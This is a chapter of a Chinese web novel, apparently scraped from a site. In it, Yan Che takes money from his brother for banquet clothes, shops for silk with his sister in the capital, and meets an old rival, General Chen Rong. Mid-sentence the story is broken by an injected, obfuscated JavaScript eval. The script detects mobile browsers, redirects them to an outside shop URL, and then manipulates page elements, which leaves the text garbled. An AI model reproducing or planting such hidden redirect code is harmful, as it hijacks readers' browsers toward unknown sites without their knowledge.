虽然这句是他根据姚公公的反应推断出来的圣心偏好,但严赋一听就明白了。 “你没跟舅父说这些吗?”严赋问。 严澈摇了摇头,“我说了,爹会当回事吗?” “辛苦小弟把这些记下来了。我会想办法说服舅父。” 严澈笑着朝他伸出手:“大哥给点辛苦费,我就不辛苦了。” 严赋无奈地摇了摇头,但却半点没有含糊地拿了一个钱袋给他。 “正好让阿凝陪你去做一身衣裳。听闻过几日将有宫宴,驻南川回都城述职的将领,四品以上可携夫人及嫡子参加。” “我不是有一身吗?穿着去见瑶昌县主的那身,足够英俊倜傥了。” “还不够好,宫宴上需得更加体面才行。” “大哥,你不去吗?” “我是外甥,可不是嫡子。” 宫宴就相当于企业年会,饭菜从膳房大老远地端来,都凉了个七七八八,还得和周围人应酬,注意仪态,皇帝随口说句话,得赶紧行礼,高呼“陛下英明”、“谢陛下隆恩”。 “要不跟爹说一声,把你过继到名下,以后这些大会小会的你去开就好。” 严赋卷起书,在严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672766|206294||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 澈的脑门上敲了一下,“想得美。” “就要想得美!买新衣服去咯!” 严澈拎着钱袋,开开心心地跑出门去。 至于老爹的工作总结,相信大哥会想办法解决。 严凝也早想出来逛逛,无奈有两个孩子需要看顾。好不容易孩子睡着了,便托给乳娘照看,自己则陪着小弟去成衣铺子转转,她早就想要感受一下都城的繁华了。 路上,严澈忍不住问她:“阿姐,姐夫还没回来?” 严凝无奈地摇了摇头,“还没,他调任工部员外郎三年了,说是现在有个屯田清吏司的空缺,他想要好好表现,这一次跟随侍郎大人外出办事,自然要尽心尽力。他的俸禄有限,都城里又是寸土寸金,之前他在信里说租了卖花匠的一间屋子,实在太小,我们母子也不方便去住。” 而且严凝的夫婿必然有私人物什在屋子里,外出公干不可能不落锁。 算了,如果严家这一次能抵挡住齐王的算计,再想办法给姐姐还有姐夫一家租个更好的屋子。 两人一路走一路逛,来到了一间名为“鹤羽坊”的成衣铺子,里面热闹非凡,而且他们见识到了许多在南川根本见不到的精致布料。 严凝第一眼就被栖月绡吸引了,那几乎透手的轻柔薄纱,若是制成衣裙,还不月下生辉? “阿姐,你喜欢?那要不买一匹,做身裙子?等姐夫回来的时候,正好穿给他看。”严澈笑嘻嘻地说。 严凝自然是想要的,但还是摇了摇头,低声道:“还是先看适合你的布料。” “我这般肩宽腰窄腿修长的俊俏郎君,只消衣冠齐整,便已是极好看的了。” 严澈的下巴一扬,就把姐姐给逗笑了。 只是万万没想到,这一匹栖月绡就要二十两银子。哪怕是对银钱没有概念的严澈都得感慨,这妥妥就是古代版的奢侈品店。 严镇作为四品官员的俸禄绝对是不低的,只是他经常接济阵亡的同僚亲属,严家私库里的钱银并不多。 再加上严镇这人严于律己,根本不捞油水。 在南川最好的布料也就五两一匹了,现在严家姐弟终于对都城的物价有了认识。 大哥给的钱袋子里,正好就二十两。 严凝拽住了严澈,小声道:“这栖月绡虽然美,但还是太薄了,你那两个外甥时常在我身边打闹,这恐怕穿不到三天就得被毁了。还是给你看布料吧。” 话才刚说完,就有个身着锦衣,身形高大的男人带着一位婀娜俏丽的女子走了进来。 “唷,这不是严将军的郎君和千金吗?怎么,也为了宫宴来这里裁衣?不过……严将军素来不重钱银,清正得很呐。京畿繁华之地,物价比边陲南川怕是翻了好几倍吧。令尊与你的零用钱,是否能买到此处的边角料?” 严澈冷笑了一下,心想:哎哟喂,兄台,你知不知道自己说话的语气好酸嘞,像极了短剧套路里来找主角麻烦的炮灰? 严澈向后靠向严凝,小声问:“这人是谁啊?看起来跟咱爹的关系不大好。” 严凝蹙了蹙眉,不知道小弟是不是在阴阳对方。 “你真不记得了?这是陈嵘,五年前曾调来南峻关当副将,差一点丢了粮草,被爹当着众将士的面抽了鞭子。” “我看他现在混得挺好的?” 意思是什么样的后台,竟然能从南峻关调走? “他是宁妃娘娘的表弟,宁妃娘娘从嫔位升到妃位没多久,就把他调去河曲关了,如今品级和爹是一样的。我听说他就要与兵部侍郎之妹定亲了?” 河曲关几乎没有战事,看好那几处水利工程就好,陈嵘在那里应该挺享福的吧。 兵部侍郎虽然也是正四品,但人家可是京官。这个陈嵘恐怕想死了靠这门亲事调回都城吧? 哎呀呀,陈将军不出点血,怎么有诚意呢? 严凝攥着小弟的后腰带,生怕他一个冲动跟陈嵘起争执。 谁知道严澈变脸比翻书还快,爽朗的笑容一下子绽开,“原来是陈将军啊,失敬失敬!五年未见,你忽然变得如此俊伟不凡,小侄都没有认出来!果然红气养人,这番回到都城,恐怕很快又要高升啦!” 严凝:你是谁?你还是我小弟吗? 严澈圆亮的眼睛一旦盛满笑意,再夸张的恭维,听着也特别真诚。 昔日和自己不对付的上司之子竟然如此奉承自己,陈嵘的虚荣心自然暴增。 严澈心想:这可是从公孙瑕那里学来的。陈将军,你可要好好感受一下何为“捧杀”。